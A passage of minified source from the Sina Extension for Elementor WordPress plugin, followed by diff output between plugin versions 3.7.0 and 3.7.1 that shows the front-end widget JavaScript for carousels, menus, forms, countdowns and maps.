__construct(){add_action('admin_enqueue_scripts',[$this,'enqueue_scripts']);add_action('init',[$this,'register_theme_builder_post_type']);add_action('manage_'.self::POST_TYPE.'_posts_columns',[$this,'manage_columns']);add_action('manage_'.self::POST_TYPE.'_posts_custom_column',[$this,'columns_content'],10,2);add_action('wp_ajax_sina_ext_save_template',[$this,'save_template']);add_action('wp_ajax_sina_ext_get_template',[$this,'get_template_by_id']);add_action('wp_ajax_sina_ext_get_posts_by_query',[$this,'get_posts_by_query']);add_action('admin_footer',[$this,'print_popup']);add_action('get_header',[$this,'override_default_header']);add_action('get_footer',[$this,'override_default_footer']);add_action('sina_ext_header_builder_content',[$this,'header_builder_content']);add_action('sina_ext_footer_builder_content',[$this,'footer_builder_content']);add_action('sina_ext_archive_builder_content',[$this,'archive_page_builder_content']);add_action('sina_ext_single_builder_content',[$this,'single_page_builder_content']);add_action('sina_ext_others_builder_content',[$this,'others_page_builder_content']);add_filter('parse_query',[$this,'query_filter']);add_filter('views_edit-'.self::POST_TYPE,[$this,'print_tabs']);add_filter('template_include',[$this,'template_loader']);add_filter('body_class',[$this,'body_classes']);}public function enqueue_scripts($hook){if(isset($_GET['post_type'])&&$_GET['post_type']==self::POST_TYPE){wp_enqueue_style('select2',SINA_EXT_URL.'admin\u002Fassets\u002Fcss\u002Fselect2.min.css');wp_enqueue_style('sina-ext-theme-builder',SINA_EXT_URL.'admin\u002Fassets\u002Fcss\u002Fsina-admin-theme-builder.min.css');wp_enqueue_script('select2',SINA_EXT_URL.'admin\u002Fassets\u002Fjs\u002Fselect2.min.js',['jquery'],SINA_EXT_VERSION,true);wp_enqueue_script('sina-ext-theme-builder',SINA_EXT_URL.'admin\u002Fassets\u002Fjs\u002Fsina-admin-theme-builder.min.js',['jquery','wp-util'],SINA_EXT_VERSION,true);$localize_data=['ajaxurl'=>admin_url('admin-ajax.php'),'nonce'=>wp_create_nonce('sina_ext_tmp_nonce'),'adminURL'=>admin_url(),'hflocation'=>self::get_hf_select(),'archivelocation'=>self::get_archive_select(),'singlelocation'=>self::get_single_select(),'otherslocation'=>self::get_others_select(),'templatetype'=>self::get_template_type(),'labels'=>['fields'=>['name'=>['title'=>esc_html__('Name','sina-ext'),'placeholder'=>esc_html__('Enter a template name','sina-ext')],'type'=>esc_html__('Type','sina-ext'),'display'=>esc_html__('Display','sina-ext'),],'head'=>esc_html__('Template Settings','sina-ext'),'buttons'=>['elementor'=>['label'=>esc_html__('Edit With Elementor','sina-ext'),'link'=>'#'],'save'=>['label'=>esc_html__('Save Settings','sina-ext'),'saving'=>esc_html__('Saving...','sina-ext'),'saved'=>esc_html__('All Data Saved','sina-ext'),'link'=>'#']],]];wp_localize_script('sina-ext-theme-builder','Sina_Ext_Theme_Builder',$localize_data);}}public static function get_hf_select(){$args=['public'=>true,'show_in_nav_menus'=>true,];$post_types=get_post_types($args,'objects');$special_pages=['front'=>esc_html__('Front Page','sina-ext'),'blog'=>esc_html__('Blog \u002F Posts Page','sina-ext'),'search'=>esc_html__('Search Page','sina-ext'),'404'=>esc_html__('404 Page','sina-ext'),'author'=>esc_html__('Author Archive','sina-ext'),'date'=>esc_html__('Date Archive','sina-ext'),];if(class_exists('WooCommerce')){$special_pages['woo-shop']=esc_html__('WooCommerce Shop Page','sina-ext');}$selection_options=['basic'=>['label'=>esc_html__('Basic','sina-ext'),'value'=>[''=>esc_html__('None','sina-ext'),'global'=>esc_html__('Entire Website','sina-ext'),'singulars'=>esc_html__('All Singulars','sina-ext'),'archives'=>esc_html__('All Archives','sina-ext'),],],'special-pages'=>['label'=>esc_html__('Special Pages','sina-ext'),'value'=>$special_pages,],];foreach($post_types as $post_type){if('sina-ext-template'===$post_type->name){continue;}if('page'===$post_type->name){$selection_options[$post_type->name]=['label'=>esc_html($post_type->label),'value'=>['all-'.$post_type->name=>esc_html('All '.$post_type->label),],];}else{$selection_options[$post_type->name]=['label'=>esc_html($post_type->label),'value'=>[$post_type->name.'-archive'=>esc_html($post_type->label.' Archive'),$post_type->name.'-singulars'=>esc_html($post_type->label.' Singulars'),],];}}$selection_options['specific-target']=['label'=>esc_html__('Specific Target','sina-ext'),'value'=>['specifics'=>esc_html__('Specific Pages \u002F Posts.','sina-ext'),],];return apply_filters('sina_ext_display_hf_list',$selection_options);}public static function get_archive_select(){$args=['public'=>true,'show_in_nav_menus'=>true,];$post_types=get_post_types($args,'objects');unset($post_types['page']);unset($post_types['post']);unset($post_types['product']);unset($post_types[self::POST_TYPE]);$special_pages=['blog'=>esc_html__('Blog \u002F Posts Page','sina-ext'),'date'=>esc_html__('Date Archive','sina-ext'),'author'=>esc_html__('Author Archive','sina-ext'),];$selection_options=['basic'=>['label'=>esc_html__('Basic','sina-ext'),'value'=>[''=>esc_html__('None','sina-ext'),'archives'=>esc_html__('All Archives','sina-ext'),],],'special-pages'=>['label'=>esc_html__('Special Pages','sina-ext'),'value'=>$special_pages,],];foreach($post_types as $post_type){$selection_options[$post_type->name]=['label'=>esc_html($post_type->label),'value'=>[$post_type->name.'-archive'=>esc_html($post_type->label.' Archive'),],];}return apply_filters('sina_ext_display_archive_list',$selection_options);}public static function get_single_select(){$args=['public'=>true,'show_in_nav_menus'=>true,];$post_types=get_post_types($args,'objects');unset($post_types['page']);unset($post_types['product']);unset($post_types[self::POST_TYPE]);$selection_options=['basic'=>['label'=>esc_html__('Basic','sina-ext'),'value'=>[''=>esc_html__('None','sina-ext'),'singulars'=>esc_html__('All Singular','sina-ext'),],],];foreach($post_types as $post_type){$selection_options[$post_type->name]=['label'=>esc_html($post_type->label),'value'=>[$post_type->name.'-singulars'=>esc_html($post_type->label.' Singular'),],];}return apply_filters('sina_ext_display_single_list',$selection_options);}public static function get_others_select(){$args=['public'=>true,'show_in_nav_menus'=>true,];$special_pages=['front'=>esc_html__('Front Page','sina-ext'),'search'=>esc_html__('Search Page','sina-ext'),'404'=>esc_html__('404 Page','sina-ext'),];$selection_options=['basic'=>['label'=>esc_html__('Basic','sina-ext'),'value'=>[''=>esc_html__('None','sina-ext'),],],'special-pages'=>['label'=>esc_html__('Special Pages','sina-ext'),'value'=>$special_pages,],];return apply_filters('sina_ext_display_others_list',$selection_options);}public static function get_template_type(){$template_type=['header'=>['label'=>esc_html__('Header','sina-ext'),'optionkey'=>'header'],'footer'=>['label'=>esc_html__('Footer','sina-ext'),'optionkey'=>'footer'],'archive'=>['label'=>esc_html__('Archive','sina-ext'),'optionkey'=>'archivepage'],'single'=>['label'=>esc_html__('Single','sina-ext'),'optionkey'=>'singlepage'],'others'=>['label'=>esc_html__('Others','sina-ext'),'optionkey'=>'otherpage'],];return apply_filters('sina_ext_builder_template_types',$template_type);}public function register_theme_builder_post_type(){$labels=['name'=>esc_html_x('Sina Theme Builder','Post Type General Name','sina-ext'),'singular_name'=>esc_html_x('Sina Theme Builder','Post Type Singular Name','sina-ext'),'menu_name'=>esc_html__('Sina Theme Builder','sina-ext'),'name_admin_bar'=>esc_html__('Sina Theme Builder','sina-ext'),'archives'=>esc_html__('Template Archives','sina-ext'),'attributes'=>esc_html__('Template Attributes','sina-ext'),'parent_item_colon'=>esc_html__('Parent Item:','sina-ext'),'all_items'=>esc_html__('Templates','sina-ext'),'add_new_item'=>esc_html__('Add New Template','sina-ext'),'add_new'=>esc_html__('Add New','sina-ext'),'new_item'=>esc_html__('New Template','sina-ext'),'edit_item'=>esc_html__('Edit Template','sina-ext'),'update_item'=>esc_html__('Update Template','sina-ext'),'view_item'=>esc_html__('View Template','sina-ext'),'view_items'=>esc_html__('View Templates','sina-ext'),'search_items'=>esc_html__('Search Templates','sina-ext'),'not_found'=>esc_html__('Not found','sina-ext'),'not_found_in_trash'=>esc_html__('Not found in Trash','sina-ext'),'featured_image'=>esc_html__('Featured Image','sina-ext'),'set_featured_image'=>esc_html__('Set featured image','sina-ext'),'remove_featured_image'=>esc_html__('Remove featured image','sina-ext'),'use_featured_image'=>esc_html__('Use as featured image','sina-ext'),'insert_into_item'=>esc_html__('Insert into Template','sina-ext'),'uploaded_to_this_item'=>esc_html__('Uploaded to this Template','sina-ext'),'items_list'=>esc_html__('Templates list','sina-ext'),'items_list_navigation'=>esc_html__('Templates list navigation','sina-ext'),'filter_items_list'=>esc_html__('Filter from list','sina-ext'),];$args=['label'=>esc_html__('Theme Builder','sina-ext'),'description'=>esc_html__('Sina Extension Theme Builder','sina-ext'),'labels'=>$labels,'supports'=>['title','elementor','thumbnail'],'hierarchical'=>false,'public'=>true,'show_ui'=>true,'show_in_menu'=>false,'show_in_admin_bar'=>false,'show_in_nav_menus'=>true,'can_export'=>true,'has_archive'=>false,'rewrite'=>['slug'=>'sina-ext-template','pages'=>false,'with_front'=>true,'feeds'=>false,],'query_var'=>true,'exclude_from_search'=>true,'publicly_queryable'=>true,'capability_type'=>'page','show_in_rest'=>true,'rest_base'=>self::POST_TYPE,];register_post_type(self::POST_TYPE,$args);$this->get_active();flush_rewrite_rules();}public function manage_columns($columns){$column_date=$columns['date'];unset($columns['date']);$columns['type']=esc_html__('Type','sina-ext');$columns['status']=esc_html__('Display','sina-ext');$columns['date']=esc_html($column_date);return $columns;}public function columns_content($column_name,$post_id){$type=get_post_meta($post_id,self::POST_TYPE_META.'_type',true);if(!array_key_exists($type,self::get_template_type())){return;}if($column_name==='type'){echo isset(self::get_template_type()[$type])?'\u003Cdiv class=\"column-type\">'.self::get_template_type()[$type]['label'].'\u003C\u002Fdiv>':'-';}if($column_name==='status'){$display=get_post_meta($post_id,self::POST_TYPE_META.'_location',true); ?>\r\n             \u003Cdiv class=\"post-status\">\r\n                 \u003Cstrong>\u003C?php esc_html_e('Display:','sina-ext'); ?> \u003C\u002Fstrong>\r\n                 \u003C?php echo esc_html($display); ?>\r\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fadmin: sina-ext-theme-builder-readable.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fassets\u002Fcss: animate-merge.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fassets\u002Fcss: sina-header-footer.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fassets\u002Fcss: sina-tooltip.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fassets\u002Fcss: sina-widgets.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fassets\u002Fcss: sina-widgets-rtl.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fassets\u002Fcss: twentytwenty.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fassets\u002Fjs: sina-tooltip.js\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fassets\u002Fjs: sina-widgets.js\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fassets\u002Fjs\u002Fsina-widgets.min.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Fassets\u002Fjs\u002Fsina-widgets.min.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.0\u002Fassets\u002Fjs\u002Fsina-widgets.min.js\t2025-05-16 10:18:26.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsina-extension-for-elementor\u002F3.7.1\u002Fassets\u002Fjs\u002Fsina-widgets.min.js\t2025-07-10 13:17:42.000000000 +0000\n@@ -1,2 +1,2 @@\n-\u002F* Sina Extension for Elementor v3.7.0 *\u002F\r\n-!function(){\"use strict\";function e(n,t,e){new IntersectionObserver(function(n,e){n.forEach(function(n){n.isIntersecting&&t(n)})},2\u003Carguments.length&&void 0!==e?e:{}).observe(n)}function t(n){var e=(e=n.data(\"item-lg\"))||2,t=(t=n.data(\"item-md\"))||2,a=(a=n.data(\"item-sm\"))||1,o=n.data(\"slide-anim\"),i=\"none\"!=(i=n.data(\"slide-anim-out\"))&&i,o=\"none\"!=o&&o,d=!!n.data(\"autoplay\"),s=!!n.data(\"pause\"),r=!!n.data(\"center\"),l=!!n.data(\"nav\"),c=!!n.data(\"dots\"),f=!!n.data(\"mouse-drag\"),u=!!n.data(\"touch-drag\"),m=!!n.data(\"loop\"),h=(h=n.data(\"speed\"))||500,p=n.data(\"delay\");n.owlCarousel({animateOut:i,animateIn:o,autoplay:d,autoplayHoverPause:s,center:r,nav:l,dots:c,mouseDrag:f,touchDrag:u,loop:m,smartSpeed:h,autoplayTimeout:p,responsive:{0:{items:a},600:{items:t},900:{items:e}}})}function p(n){return n\u003C10?\"0\"+n:n}function n(n,c){n.find(\".sina-ext-nav\").each(function(){var n=c(window).outerWidth(),e=c(\"body\"),t=c(this),a=t.find(\".sina-ext-menu\"),o=t.find(\".sina-ext-nav-collapse\"),i=t.find(\".sina-ext-nav-toggle\"),d=i.data(\"open\"),s=i.data(\"close\"),r=a.data(\"in\"),l=a.data(\"out\");c(\".sub-menu\",a).addClass(\"animated\"),1024\u003Cn?(c(\".menu-item-has-children\",a).on(\"mouseenter\",function(){c(\".sub-menu\",this).eq(0).removeClass(l).stop().fadeIn().addClass(r),c(this).addClass(\"open\")}),c(\".menu-item-has-children\",a).on(\"mouseleave\",function(){c(\".sub-menu\",this).eq(0).removeClass(r).stop().fadeOut().addClass(l),c(this).removeClass(\"open\")})):(c(\".sina-ext-menu .menu-item-has-children > a\").on(\"click\",function(n){n.preventDefault()}),c(\"a\",\".sina-ext-menu .menu-item-has-children\").on(\"click\",function(){var n=c(this).parent(\".menu-item-has-children\");c(\".sub-menu\",n).eq(0).toggleClass(r).stop().fadeToggle().toggleClass(l),c(n).toggleClass(\"open\")})),e.children(\".sina-ext-nav-wrapper\").length\u003C1&&e.wrapInner('\u003Cdiv class=\"sina-ext-nav-wrapper\">\u003C\u002Fdiv>'),i.on(\"click\",function(){c(\".toggle-icon\",this).toggleClass(d).toggleClass(s),e.toggleClass(\"sina-ext-nav-mobile-left\"),o.toggleClass(\"show\")}),c(window).on(\"resize\",function(){c(\".toggle-icon\",i).removeClass(s).addClass(d),e.removeClass(\"sina-ext-nav-mobile-left\"),o.removeClass(\"show\")})})}function a(n,i){n.find(\".sina-search\").each(function(){var n=i(this),e=!!n.data(\"click\"),t=!!n.data(\"esc\"),a=n.children(\".sina-button\"),o=n.children(\".sina-modal-overlay\"),n=o.find(\".sina-modal-close\");a.click(function(n){o.fadeIn(400)}),n.click(function(){o.fadeOut(400)}),e&&i(document).on(\"click\",function(n){i(n.target).is(\".sina-modal-area\")&&o.fadeOut(400)}),t&&i(window).on(\"keydown\",function(n){192==(n.which||n.keyCode)&&o.fadeOut(400)})})}function o(n,e){n.find(\".sina-scroll-top\").each(function(){var n=e(this);e(window).on(\"scroll\",function(){300\u003Ce(this).scrollTop()?n.fadeIn(\"slow\"):n.fadeOut(\"slow\")}),n.on(\"click\",function(){return e(\"html, body\").animate({scrollTop:0},600),!1})})}function i(n,e){n.find(\".sina-brand-carousel\").each(function(){t(e(this))})}function d(n,e){n.find(\".sina-content-slider\").each(function(){t(e(this))})}function s(n,e){n.find(\".sina-posts-carousel\").each(function(){t(e(this))})}function r(n,e){n.find(\".sina-review-carousel\").each(function(){t(e(this))})}function l(n,s){n.find(\".sina-accordion\").each(function(){var n=s(this),d=n.data(\"open-first\");n.find(\".sina-accordion-item\").each(function(n,e){var t=s(this),a=t.siblings(\".sina-accordion-item\"),o=t.children(\".sina-accordion-header\"),i=t.children(\".sina-accordion-body\");d&&0==n&&i.slideDown(200),o.on(\"click\",function(n){n.stopImmediatePropagation(),i.slideToggle(200),a.children(\".sina-accordion-body\").slideUp(200),t.toggleClass(\"open\"),a.removeClass(\"open\")})})})}function c(n,m){n.find(\".sina-banner-slider\").each(function(){function t(n){n.each(function(){var n=m(this),e=n.data(\"animation\");n.removeClass(\"sina-anim-invisible\"),n.addClass(e).one(\"webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend\",function(){n.removeClass(e)})})}var a,o=m(this),n=!!o.data(\"autoplay\"),e=!!o.data(\"pause\"),i=!!o.data(\"nav\"),d=!!o.data(\"dots\"),s=!!o.data(\"mouse-drag\"),r=!!o.data(\"touch-drag\"),l=!!o.data(\"loop\"),c=o.data(\"part-anim\"),f=(f=o.data(\"speed\"))||500,u=o.data(\"delay\");o.owlCarousel({autoplay:n,autoplayHoverPause:e,nav:i,dots:d,mouseDrag:s,touchDrag:r,loop:l,smartSpeed:c?5:f,navSpeed:c?5:f,autoplaySpeed:f,autoplayTimeout:u,responsive:{0:{items:1}}}),c&&(t(o.find(\".owl-item.active\").find(\"[data-animation ^= 'animated']\")),a=[o.find(\".owl-item.active\")],o.on(\"translated.owl.carousel\",function(n){var e=o.find(\".owl-item.active\");t(e.find(\"[data-animation ^= 'animated']\")),a.push(e),a[0].find(\"[data-animation ^= 'animated']\").each(function(n,e){m(this).addClass(\"sina-anim-invisible\")}),a.shift()})),o.find(\".sina-tooltip\").tooltip()})}function f(n,u){n.find(\".sina-blogpost\").each(function(){var i=u(this),d=i.children(\".sina-bp-grid\");i.imagesLoaded(function(){d.isotope({itemSelector:\".sina-bp-col\",percentPosition:!0,masonry:{columnWidth:\".sina-bp-grid-sizer\"}})});var n=i.data(\"uid\"),e=i.data(\"posts-data\"),s=e.total_posts,r=e.posts_num,t=i.find(\"#sina_load_more_posts\"+n),l=i.find(\".sina-load-more\"),c=l.children(\".sina-load-more-btn\"),f=(c=l.children(\".sina-load-more-btn\")).html();c.on(\"click\",function(n){var o=i.data(\"offset\");c.html(\"Loading...\"),u.post(sinaAjax.ajaxURL,{action:\"sina_load_more_posts\",posts_data:JSON.stringify(e),offset:o,nonce:t.val()},function(n,e,t){var a;\"success\"==e&&(a=u(n).find(\".sina-bp-col\"),d.append(a),imagesLoaded(d,function(){d.isotope(\"appended\",a)}),s-r\u003C=o&&l.remove(),c.html(f),i.data(\"offset\",o+r))})})})}function u(n,t){n.find(\".sina-facebook-feed\").each(function(){var n=t(this),e=n.children(\".sina-feed-grid\");n.imagesLoaded(function(){e.isotope({itemSelector:\".sina-feed-col\",percentPosition:!0,masonry:{columnWidth:\".sina-fb-feed-grid-sizer\"}})})})}function m(n,t){n.find(\".sina-twitter-feed\").each(function(){var n=t(this),e=n.children(\".sina-feed-grid\");n.imagesLoaded(function(){e.isotope({itemSelector:\".sina-feed-col\",percentPosition:!0,masonry:{columnWidth:\".sina-twitter-feed-grid-sizer\"}})})})}function h(n,h){n.find(\".sina-contact-form\").each(function(){var a,n=h(this),e=n.data(\"uid\"),t=n.data(\"from\"),o=n.data(\"inbox\"),i=n.children(\"#sina_contact_nonce\"+e),d=n.children(\".sina-success-text\"),s=n.children(\".sina-error-text\"),r=n.children(\".sina-process-text\"),l=n.find(\".sina-input-name\"),c=n.find(\".sina-input-email\"),f=n.find(\".sina-input-subject\"),u=n.find(\".sina-input-message\"),m=!!n.data(\"captcha\");n.on(\"submit\",function(n){n.preventDefault(),clearTimeout(a),s.fadeOut(0),d.fadeOut(0),r.fadeIn(200);n=\"\";m&&(n=grecaptcha.getResponse()),h.post(sinaAjax.ajaxURL,{action:\"sina_contact\",inbox:o,from_text:t,name:l.val(),email:c.val(),subject:f.val(),message:u.val(),is_captcha:m,captcha:n,nonce:i.val()},function(n,e,t){\"success\"==e&&(a=n?(r.fadeOut(0),s.html(n).fadeIn(200),setTimeout(function(){s.fadeOut(200)},1e4)):(r.fadeOut(0),d.fadeIn(200),setTimeout(function(){d.fadeOut(200)},1e4)))})})})}function _(n,m){n.find(\".sina-table\").each(function(){var n=m(this),e=n.children(\"table\"),t=n.find(\".sina-data-table\"),a=n.data(\"table-info\"),o=a.head||[],i=a.external_source||\"\",d=a.export?\"Blftrip\":\"lftrip\",s=!!a.ordering,r=a.sort_col||2,l=a.sort_type||\"desc\",c=!!a.searching,f=!!a.info,u=!!a.paging,n=a.pagingType||\"simple_numbers\";t.DataTable({ajax:i,columns:o,ordering:s,order:[[r-1,l]],searching:c,info:f,paging:u,pagingType:n,dom:d,lengthMenu:[10,25,50,100,200,500]}),e.on(\"click\",\"tr\",function(n){n.preventDefault(),\"yes\"!=a.keep_focus&&m(this).siblings(\"tr\").removeClass(\"focus\"),m(this).toggleClass(\"focus\")})})}function g(n,m){n.find(\".sina-login-form\").each(function(){var a,n=m(this),e=n.data(\"uid\"),t=n.data(\"state\"),o=n.data(\"url\"),i=n.data(\"rem-login\"),d=n.children(\"#sina_login_nonce\"+e),s=n.children(\".sina-error-text\"),r=n.children(\".sina-input-password\"),l=n.children(\".sina-input-email\"),e=n.find(\".sina-login-remember\"),c=n.find(\".sina-login-btn\"),f=c.html(),u=!1;\"yes\"==i&&(u=e.prop(\"checked\")),n.on(\"submit\",function(n){n.preventDefault(),clearTimeout(a),c.html(t),s.fadeOut(0),m.post(sinaAjax.ajaxURL,{action:\"sina_login\",password:r.val(),email:l.val(),remember:u,nonce:d.val()},function(n,e,t){\"success\"==e&&(\"logged in\"==n?location.href=o:n&&(s.html(n).fadeIn(200),a=setTimeout(function(){s.fadeOut(200)},1e4)),c.html(f))})})})}function v(n,f){n.find(\".sina-subs-form\").each(function(){var a,n=f(this),e=n.data(\"uid\"),t=n.find(\"#sina_mc_subscribe_nonce\"+e),o=n.find(\".sina-input-fname\"),i=n.find(\".sina-input-lname\"),d=n.find(\".sina-input-email\"),s=n.find(\".sina-input-phone\"),r=n.children(\".sina-success-text\"),l=n.children(\".sina-error-text\"),c=n.children(\".sina-process-text\");n.on(\"submit\",function(n){n.preventDefault(),clearTimeout(a),l.fadeOut(0),r.fadeOut(0),c.fadeIn(200),f.post(sinaAjax.ajaxURL,{action:\"sina_mc_subscribe\",fname:o.val()||\" \",lname:i.val()||\" \",phone:s.val()||\" \",email:d.val(),nonce:t.val()},function(n,e,t){\"success\"==e&&(a=\"success\"==n?(c.fadeOut(0),r.fadeIn(200),setTimeout(function(){r.fadeOut(200)},1e4)):(c.fadeOut(0),l.html(n).fadeIn(200),setTimeout(function(){l.fadeOut(200)},1e4)))})})})}function y(n,h){n.find(\".sina-countdown\").each(function(n,e){var t=h(this),o=t.find(\".sina-cd-year\"),i=t.find(\".sina-cd-month\"),d=t.find(\".sina-cd-week\"),s=t.find(\".sina-cd-day\"),r=t.find(\".sina-cd-hour\"),l=t.find(\".sina-cd-minute\"),c=t.find(\".sina-cd-second\"),f=t.data(\"text\"),a=t.data(\"message\"),u=t.data(\"link\"),m=t.data(\"time\");t.countdown(m).on(\"update.countdown\",function(n){var e=n.strftime(\"%m\"),t=n.strftime(\"%w\"),a=Math.floor(e\u002F12),e=e%12,t=t%4;o.html(p(a)),i.html(p(e)),d.html(\"0\"+t),s.html(n.strftime(\"%n\")),r.html(n.strftime(\"%H\")),l.html(n.strftime(\"%M\")),c.html(n.strftime(\"%S\")),\"yes\"==f&&(o.next().html(a\u003C2?\"Year\":\"Years\"),i.next().html(e\u003C2?\"Month\":\"Months\"),d.next().html(t\u003C2?\"Week\":\"Weeks\"),s.next().html(n.strftime(\"%n\")\u003C2?\"Day\":\"Days\"),r.next().html(n.strftime(\"%H\")\u003C2?\"Hour\":\"Hours\"),l.next().html(n.strftime(\"%M\")\u003C2?\"Minute\":\"Minutes\"),c.next().html(n.strftime(\"%S\")\u003C2?\"Second\":\"Seconds\"))}).on(\"finish.countdown\",function(n){t.children().remove(),a?t.append('\u003Cdiv class=\"sina-cd-message\">'+a+\"\u003C\u002Fdiv>\"):u&&elementorFrontend.isEditMode()?t.append(\"\u003Ch2>You can't redirect url from elementor edit mode!!\u003C\u002Fh2>\"):u?window.location.href=u:t.append(\"\u003Ch2>May be you don't enter a valid redirect url\u003C\u002Fh2>\")})})}function b(a,n){e(a[0],function(){var n=a.find(\".sina-counter-number\"),e=n.data(),t=e.toValue.toString().match(\u002F\\.(.*)\u002F);t&&(e.rounding=t[1].length),n.numerator(e)})}function k(n,s){n.find(\".sina-fancytext\").each(function(){var n=s(this),e=n.find(\".sina-fancytext-strings\"),t=n.data(\"anim\"),a=n.data(\"speed\"),o=n.data(\"delay\"),i=!!n.data(\"cursor\"),d=!!n.data(\"loop\"),n=(n=n.data(\"fancy-text\")).split(\"@@\");\"typing\"==t?e.typed({strings:n,typeSpeed:a,startDelay:o,showCursor:i,loop:d}):e.Morphext({animation:t,separator:\"@@\",speed:o})})}function w(n,p){n.find(\".sina-google-map\").each(function(){var n=p(this),e=n.data(\"id\"),t=n.data(\"anim\"),a=n.data(\"zoom\"),o=n.data(\"lat\"),i=n.data(\"long\"),d=!n.data(\"defaultui\"),s=!!n.data(\"zoom-control\"),r=!!n.data(\"street-control\"),l=!!n.data(\"fullscreen-control\"),c=n.data(\"zoom-position\"),f=n.data(\"street-position\"),u=n.data(\"fullscreen-position\"),m=n.data(\"map-style\"),h=n.data(\"marker\"),n=n.data(\"marker-link\"),m=new google.maps.Map(document.getElementById(e),{center:{lat:o,lng:i},zoom:a,disableDefaultUI:d,zoomControl:s,zoomControlOptions:{position:google.maps.ControlPosition[c]},streetViewControl:r,streetViewControlOptions:{position:google.maps.ControlPosition[f]},fullscreenControl:l,fullscreenControlOptions:{position:google.maps.ControlPosition[u]},styles:sinaMapStyles[m]});h&&n&&new google.maps.Marker({position:new google.maps.LatLng(o,i),map:m,icon:{url:n},animation:google.maps.Animation[t]})})}function x(n,r){n.find(\".sina-image-differ\").each(function(){var n=r(this),e=n.data(\"orientation\"),t=n.data(\"before\"),a=n.data(\"after\"),o=n.data(\"offset\"),i=!!n.data(\"overlay\"),d=!!n.data(\"click\"),s=!!n.data(\"hover\");n.children(\".twentytwenty-container\").twentytwenty({default_offset_pct:o,orientation:e,before_label:t,after_label:a,no_overlay:i,move_slider_on_hover:s,click_to_move:d})})}function C(n,r){n.find(\".sina-news-ticker\").each(function(){var n=r(this),t=n.data(\"speed\"),a=\"yes\"==n.data(\"pause\"),e=n.children(\".sina-news-wrapper\"),o=e.children(\".sina-news-container\"),i=o.children(\".sina-news-content\"),n=i.children(\".sina-news\"),e=e.outerWidth(),d=0;function s(n,e){var t=d*n;o.css({width:2*d+\"px\",marginLeft:0}),o.animate({marginLeft:\"-=\"+d+\"px\"},t,\"linear\",function(){s(n,e)})}n.each(function(n,e){d+=r(this).outerWidth()}),d+=.5*e,i.css(\"width\",d+\"px\"),i.clone().appendTo(o),a&&(o.on(\"mouseenter\",function(n){o.stop()}),o.on(\"mouseleave\",function(n){var e=(e=o.css(\"marginLeft\")).replace(\u002Fpx\u002Fi,\"\"),e=parseInt(e)+d;o.animate({marginLeft:\"-=\"+e+\"px\"},e*t,\"linear\",function(){s(t,a)})})),s(t,a)})}function A(n,a){n.find(\".sina-product-zoomer\").each(function(){var n=a(this),e=n.data(\"position\"),t=n.data(\"shape\");n.find(\".xzoom, .xzoom-gallery\").xzoom({position:e,lensShape:t})})}function F(n,f){n.find(\".sina-particle\").each(function(){var n=f(this),e=n.data(\"link-color\"),t=n.data(\"ball-color\"),a=n.data(\"number\"),o=n.data(\"link\"),i=n.data(\"clink\"),d=n.data(\"linkw\"),s=n.data(\"size\"),r=n.data(\"speed\"),l=!!n.data(\"dlink\"),c=!!n.data(\"dmouse\");n.sinaParticles({lineColor:e,fillColor:t,particlesNumber:a,linkDist:o,createLinkDist:i,linksWidth:d,maxSize:s,speed:r,disableLinks:l,disableMouse:c})}),f(\".sina-particle-layer .sina-tooltip\").tooltip()}function O(r,n){e(r[0],function(){var n=r.find(\".sina-piechart-wrap\"),e=n.data(\"track\"),t=(n.data(\"track-width\"),n.data(\"bar\")),a=n.data(\"line\"),o=n.data(\"cap\"),i=n.data(\"speed\"),d=n.data(\"scale\"),s=n.data(\"size\");n.easyPieChart({trackColor:e,barColor:t,lineWidth:a,lineCap:o,animate:i,scaleColor:d,size:s})})}function I(n,i){n.find(\".sina-portfolio\").each(function(){var n=i(this),t=n.children(\".sina-portfolio-grid\"),a=n.children(\".sina-portfolio-btns\"),o=n.data(\"layout\");n.imagesLoaded(function(){var e;e=\"masonry\"==o?t.isotope({itemSelector:\".sina-portfolio-item\",percentPosition:!0,masonry:{columnWidth:\".sina-portfolio-item\"}}):t.isotope({itemSelector:\".sina-portfolio-item\",layoutMode:\"fitRows\"}),a.on(\"click\",\"button\",function(){var n=i(this).attr(\"data-filter\");e.isotope({filter:n})})}),n.find(\".sina-portfolio-zoom\").venobox({titlePosition:\"bottom\",bgcolor:\"#000000\"})})}function z(n,e){n.find(\".sina-posts-tab\").each(function(){e(\"[data-sina-pt]\").on(\"click\",function(n){e(e(this).data(\"sina-pt\")).siblings(\".sina-pt-item\").removeClass(\"active\"),e(e(this).data(\"sina-pt\")).addClass(\"active\")})})}function L(t,n){e(t[0],function(){var 